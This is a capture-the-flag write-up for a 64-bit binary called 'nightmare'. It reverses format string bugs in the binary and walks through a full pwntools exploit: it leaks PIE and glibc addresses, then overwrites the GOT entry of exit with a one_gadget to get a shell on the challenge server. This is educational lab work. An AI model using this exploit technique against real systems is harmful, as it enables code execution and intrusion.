Nightmare
10 minutes to read
We are given a 64-bit binary called nightmare
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Reverse engineering
Using Ghidra, we can read the decompiled source code in C. This is the main
function:
void main() {
char option;
int option_char;
setup();
do {
while (true) {
while (true) {
menu();
option_char = getchar();
option = (char)option_char;
getchar();
if (option != '3') break;
puts("Seriously? We told you that it\'s impossible to exit!");
}
if (option < '4') break;
LAB_001014e5:
puts("No can do");
}
if (option == '1') {
scream();
} else {
if (option != '2') goto LAB_001014e5;
escape();
}
} while (true);
}
The main
function calls menu
, which gives us two options. The first one is scream
:
void scream() {
long in_FS_OFFSET;
char data[280];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Aight. Hit me up\n>> ");
fgets(data, 256, stdin);
fprintf(stderr, data);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
And the second one is escape
:
void escape() {
int res;
long in_FS_OFFSET;
char code[6];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Enter the escape code>> ");
fgets(code, 6, stdin);
res = validate(code);
if (res == 0) {
puts("Congrats! You\'ve escaped this nightmare.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf(code);
puts("\nWrong code, buster");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
And this one calls validate
:
int validate(char *code) {
int res;
res = strncmp(code, "lulzk", 5);
return res;
}
Format String vulnerability
There are two Format String vulnerabilities. One clear example is in escape
, where we control code
, the first parameter of printf(code)
. The other one appears in scream
, at fprintf(stderr, data)
. However, we have some limitations, since code
is a character array of 6 bytes, and we won’t be able to read from stderr
on the remote instance.
With a Format String vulnerability we are able to leak values from the stack using formats like %p
(for pointers in hexadecimal format):
$ ./nightmare
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> 2
Enter the escape code>> %p
0x5579d9cf8079
Wrong code, buster
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
>
Notice how %p
is replaced with a hexadecimal value. Format String vulnerabilities also allow us to write arbitrary data into memory using format %n
. For that, we must find in which position in the stack we have our input string:
$ ./nightmare
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> 1
Aight. Hit me up
>> %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7ffd192a81d0.7ffa68f80fd2.7ffd192a81d0.0.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.7ffa68ed000a.3000000008.7ffd192a82f0.
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
>
Alright, we can control values at the stack from position 5.
The %n
format stores the number of characters printed up to the format into the address referenced by the format. For instance, if we put an address in our first 8 bytes of payload, using %5$n
right after will store the value 8
at that address. In order to store arbitrary values, we can make use of %c
. For instance, %256c
will be replaced by 256 white spaces.
Format String exploitation
Since the binary has no RELRO, we can modify an entry of the Global Offset Table (GOT) and execute a one_gadget
shell. The GOT stores the runtime addresses of external functions from Glibc. For instance, we can modify the entry for puts
or exit
.
Leaking memory addresses
To bypass PIE, we must leak the address of some instruction of the binary, in order to compare it to its offset. Just for testing, I will disable ASLR so that all memory addresses are fix:
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Now, I will use a simple Python script to test the first 50 positions in the stack:
#!/usr/bin/env python3
from pwn import context
context.binary = 'nightmare'
context.log_level = 'CRITICAL'
def main():
for i in range(50):
p = context.binary.process()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the escape code>> ', f'%{i + 1}$p'.encode())
print(i + 1, p.recvline(timeout=1))
p.close()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './nightmare'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1 b'0x555555556079\n'
2 b'0x6c\n'
3 b'0xffffffff\n'
4 b'0x7fffffffe6a2\n'
5 b'(nil)\n'
6 b'0xa702436255500\n'
7 b'0x9fd17f3560af5b00\n'
8 b'0x7fffffffe6d0\n'
9 b'0x5555555554d5\n'
10 b'0x7fffffffe7c0\n'
11 b'0x3200000000000000\n'
12 b'(nil)\n'
13 b'0x7ffff7de1083\n'
14 b'0x7ffff7ffc620\n'
15 b'0x7fffffffe7c8\n'
16 b'0x100000000\n'
17 b'0x555555555478\n'
18 b'0x555555555500\n'
19 b'0x5a5ba6730ca68a59\n'
20 b'0x555555555180\n'
21 b'0x7fffffffe7c0\n'
22 b'(nil)\n'
23 b'(nil)\n'
24 b'0x9e36afe11581520a\n'
25 b'0xdf7f34b86e625fd7\n'
26 b'(nil)\n'
27 b'(nil)\n'
28 b'(nil)\n'
29 b'0x1\n'
30 b'0x7fffffffe7c8\n'
31 b'0x7fffffffe7d8\n'
32 b'0x7ffff7ffe190\n'
33 b'(nil)\n'
34 b'(nil)\n'
35 b'0x555555555180\n'
36 b'0x7fffffffe7c0\n'
37 b'(nil)\n'
38 b'(nil)\n'
39 b'0x5555555551ae\n'
40 b'0x7fffffffe7b8\n'
41 b'0x1c\n'
42 b'0x1\n'
43 b'0x7fffffffea98\n'
44 b'(nil)\n'
45 b'0x7fffffffead3\n'
46 b'0x7fffffffeade\n'
47 b'0x7fffffffeaf5\n'
48 b'0x7fffffffeb10\n'
49 b'0x7fffffffeb46\n'
50 b'0x7fffffffeb57\n'
From experience, I know that addresses that start with 555555555
are addresses within the binary, addresses that start with 7ffff7f
come from Glibc, and those that start with 7fffffff
are stack addresses.
Let’s use GDB to find what are some addresses for:
$ gdb -q nightmare
Reading symbols from nightmare...
(No debugging symbols found in nightmare)
gef➤ start
[*] PIC binary detected, retrieving text base address
[+] Breaking at entry-point: 0x555555555180
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- ./nightmare
0x00555555555000 0x00555555556000 0x00000000001000 r-x ./nightmare
0x00555555556000 0x00555555557000 0x00000000002000 r-- ./nightmare
0x00555555557000 0x00555555558000 0x00000000002000 rw- ./nightmare
0x007ffff7dbd000 0x007ffff7ddf000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7ddf000 0x007ffff7f57000 0x00000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7f57000 0x007ffff7fa5000 0x0000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa5000 0x007ffff7fa9000 0x000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa9000 0x007ffff7fab000 0x000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fab000 0x007ffff7fb1000 0x00000000000000 rw-
0x007ffff7fc9000 0x007ffff7fcd000 0x00000000000000 r-- [vvar]
0x007ffff7fcd000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
gef➤ x 0x7ffff7de1083
0x7ffff7de1083 <__libc_start_main+243>: 0xb6e8c789
We have a few of addresses to choose for both Glibc and the binary. For instance, let’s use position 13 (__libc_start_main+243
, also known as __libc_start_main_ret
) for Glibc and position 20 (0x555555555180
), which is the entrypoint of the binary. Now, let’s find the offsets:
$ ldd nightmare
linux-vdso.so.1 (0x00007ffff7fcd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7db9000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep __libc_start_main
2238: 0000000000023f90 483 FUNC GLOBAL DEFAULT 15 __libc_start_main@@GLIBC_2.2.5
$ objdump -d nightmare | grep '<.text>'
0000000000001180 <.text>:
At this point, we can compute the base addresses of Glibc and the binary substracting the leaked values and the corresponding offsets:
def leak(p, position: int) -> int:
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the escape code>> ', f'%{position}$p'.encode())
ret = int(p.recvline().decode(), 16)
p.sendline(b'xx')
return ret
def main():
p = get_process()
__libc_start_main_ret_addr = leak(p, 13)
log.info(f'Leaked __libc_start_main_ret: {hex(__libc_start_main_ret_addr)}')
elf.address = leak(p, 20) - 0x1180
glibc.address = __libc_start_main_ret_addr - 243 - glibc.sym.__libc_start_main
log.success(f'ELF base address: {hex(elf.address)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './nightmare'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './nightmare': pid 54675
[*] Leaked __libc_start_main_ret: 0x7ffff7de1083
[+] ELF base address: 0x555555554000
[+] Glibc base address: 0x7ffff7dbd000
[*] Switching to interactive mode
Wrong code, buster
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> $
Since both base addresses end in 000
, we can believe that are correct. So we can enable ASLR again:
# echo 2 | tee /proc/sys/kernel/randomize_va_space
2
Finding remote Glibc version
Let’s run the exploit in remote as is:
$ python3 solve.py 159.65.19.122:32008
[*] './nightmare_patched'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 159.65.19.122 on port 32008: Done
[*] Leaked __libc_start_main_ret: 0x7fa936eeb0b3
[+] ELF base address: 0x55881fb50000
[+] Glibc base address: 0x7fa936ec4000
[*] Switching to interactive mode
Wrong code, buster
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> $
We see that the base address of Glibc is not correct. We can use the last three hexadecimal digits of __libc_start_main_ret
leaked address to find a matching Glibc version in libc.blukat.me (Glibc 2.31):
Now that we can download the correct Glibc version, we can use pwninit
to patch the binary and use the remote Glibc version:
$ pwninit --libc libc6_2.31-0ubuntu9_amd64.so --bin nightmare --no-template
bin: nightmare
libc: libc6_2.31-0ubuntu9_amd64.so
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9_amd64.deb
setting ./ld-2.31.so executable
symlinking libc.so.6 -> libc6_2.31-0ubuntu9_amd64.so
copying nightmare to nightmare_patched
running patchelf on nightmare_patched
At this point, we can use nightmare_patched
in our local environment as well.
Getting RCE
Since the binary is fully protected, the way to obtain a shell will be with the arbitrary write primitive that we can get exploiting the Format String vulnerability.
A nice value to spawn a shell is a one_gadget
shell, which is an address of Glibc that spawns a shell under certain conditions:
$ one_gadget libc.so.6
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
In order to craft the payload, pwntools
has a great function called fmtstr_payload
. We only need to tell the offset where we control values in the stack (5, we saw it at the beginning), and a mapping that holds the address where we want to write to and the value we want to write. Otherwise, a manual Format String exploitation using %n
would have been much more tedious. You can find one example on my write-up for Rope machine and in fermat-strings.
So, this is the last payload, where we modify exit
to be a one_gadget
shell:
one_gadget = (0xe6aee, 0xe6af1, 0xe6af4)[1]
payload = fmtstr_payload(5, {elf.got.exit: glibc.address + one_gadget})
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the escape code>> ', b'lulzk')
p.recv()
p.interactive()
We have a shell locally:
$ python3 solve.py
[*] './nightmare_patched'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './nightmare_patched': pid 98737
[*] Leaked __libc_start_main_ret: 0x7f615426a0b3
[+] ELF base address: 0x5617a877e000
[+] Glibc base address: 0x7f6154243000
[*] Switching to interactive mode
$ ls
ld-2.31.so libc6_2.31-0ubuntu9_amd64.so nightmare_patched
libc.so.6 nightmare solve.py
Flag
And also remotely:
$ python3 solve.py 159.65.19.122:32008
[*] './nightmare_patched'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 159.65.19.122 on port 32008: Done
[*] Leaked __libc_start_main_ret: 0x7fd4c99dd0b3
[+] ELF base address: 0x560881a84000
[+] Glibc base address: 0x7fd4c99b6000
[*] Switching to interactive mode
$ ls
core
flag.txt
nightmare
$ cat flag.txt
HTB{ar3_y0u_w0k3_y3t!?}
The full exploit can be found in here: solve.py
.